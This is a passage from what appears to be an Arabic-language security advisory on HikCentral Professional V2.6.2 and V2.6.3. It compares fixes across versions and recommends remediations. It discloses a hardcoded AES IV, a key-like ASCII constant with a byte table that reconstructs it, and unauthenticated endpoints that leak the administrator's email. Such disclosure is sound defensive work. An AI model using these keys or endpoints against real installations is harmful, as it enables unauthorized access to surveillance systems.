| خطوة التحقق من `CheckToken` | غائب | **مُضاف** | لم يُضاف |
| نص QR العادي يحتوي على `License:<ActiveCode>;DZP:...` | نعم | **مُزال** | لم يتغير (حزمة الإصلاح لا تصحح `platform.dll`) |
| مفتاح QR AES | قابل للاستخراج من الملف الثنائي | مُدَوَّر *أو* غير مستخدم (يعتمد على ما إذا كان تغيير تنسيق النص العادي قد جعل المسار ميتًا) | تم تدويره عبر `wbaes_key_dec` + مفكك ترميز whitebox-AES في حزمة الإصلاح |
| متجه تهيئة QR AES | `AaBbCcDd1234!@#$` | لم يتغير | لم يتغير |
| كشف معلومات `RetrieveStateInfo` | يتسرب | **لا يزال يتسرب** | لا يزال يتسرب |
| `GetSecurityQuestionCommBeforeLogin` | يتسرب | **لا يزال يتسرب** | لا يزال يتسرب |
| مثبّت ضعيف يمكن الوصول إليه على CDN هيكفيجن | نعم | نعم | نعم |

ترسل حزمة الإصلاح جزءًا متحركًا إضافيًا لا يحتاجه إصدار V2.6.3: أداة فك تشفير **whitebox-AES** (`wbext_dec.exe`، مسار المصدر يتسرب `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c`، تستخدم ثابت `fixed_iv_16byte` الخاص بها) بالإضافة إلى نص مشفر **AES-128-CFB بطول 244 بايت** (`wbaes_key_dec`). تأخذ أداة فك التشفير كتلة النص المشفر وتنتج مفتاحًا عاديًا جديدًا، والذي يكتبه مثبّت حزمة الإصلاح في تخزين HCMP لتدوير مفتاح QR المضمن في الملف الثنائي على تثبيتات V2.6.2 الحالية. يُستخدم Whitebox-AES هنا فقط لجعل المفتاح المُدَوَّر غير مناسب لاستخراجه مرة أخرى من الأثر التصحيحي عن طريق الفحص — نفس الأسلوب الدفاعي المستخدم بواسطة أنظمة إدارة الحقوق الرقمية (DRM).

---

## 13. إجراءات المعالجة الموصى بها (بخلاف التصحيحات الصادرة)

1. **قم بتنظيف ملفات التثبيت الثنائية المهجورة من CDN.** لا يزال `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` يخدم HTTP/2 200 مع ضربة ذاكرة تخزين مؤقت قديمة لمدة 29 يومًا. الأمر نفسه صحيح بالنسبة لـ V2.6.0 و V2.5.1 وما إلى ذلك — كل مثبت في النطاق الضعيف لا يزال يمكن الوصول إليه عبر رابط مباشر. إزالة القائمة على مستوى الصفحة تجميلية.
2. **قم بتوثيق `RetrieveStateInfo` و `GetSecurityQuestionCommBeforeLogin`.** كلاهما يسرب البريد الإلكتروني للمسؤول وبيانات تعريف تكوين الاسترداد إلى المتصلين المجهولين في V2.6.3 أيضًا؛ لم يتم لمس أي منهما بواسطة الإصلاح.
3. **توقف عن استخدام الثوابت النائبة ASCII كمادة مفتاح تشفير.** `WwXxYyZz1234!@#$` هو نوع القيمة الذي ينجو من "مراجعة الكود بالتخطي". استبدله بمادة عشوائية لكل تثبيت في أول تشغيل؛ إذا كانت التوافقية الخلفية تتطلب احتياطيًا مضمنًا في الملف الثنائي، فاشتققه على الأقل من تجزئة لحالة خاصة بالتثبيت (معرف الجهاز الفريد، طابع زمني للتثبيت) بحيث يختلف لكل نشر.
4. **عامل "لا يحتاج IV إلى أن يكون سريًا" كمسدس في القدم، وليس ترخيصًا.** الاحتفاظ بـ IV الحرفي حتى بعد الكشف هو دفاع رياضي في CBC ولكنه ينتج إمكانية هجوم غير ضرورية بمجرد أن يكشف الفرق أن التدوير هو فقط للمفتاح.
5. **بالنسبة لمجموعة نقاط النهاية `ChangeDefault*`**، فضل استخدام مستمع مأخذ نطاق يونكس / استرجاع ذاتي فقط على طبقة التطبيق بدلاً من تقييد تكوين Nginx. ملف التهيئة هو خطأ تعديل واحد بعيدًا عن إعادة إدخال الخلل؛ `bind 127.0.0.1` في خدمة C++ أكثر أمانًا من الناحية الهيكلية.
تنزيل الأداة
الأرشيفالمحتويات
246/Nginx + 246/wwwطبقة ويب Nginx (الباب الأمامي) وواجهة مستخدم ويب SPA
244/binثنائيات خدمة C++ أصلية + شهادات
240PostgreSQL مُجمّع + نصوص تهيئة قاعدة البيانات
238وقت تشغيل Bee* (BeeAgent, BeeGuard, …)
282خدمات التطبيق والإضافات (الجزء الأكبر من كود الخلفية C++)
281, 283-284, 396, 398-399, 513, 520, 538-541, 573إضافات أصغر، مكونات إضافية، ودعامات ترقية/إلغاء التثبيت
posoffsetbytechar
0+220x57W
1+540x77w
2+230x58X
3+550x78x
4+240x59Y
5+560x79y
6+250x5AZ
7+570x7Az
8−160x311
9−150x322
10−140x333
11−130x344
12−320x21!
13−10x40@
14−300x23#
15−290x24$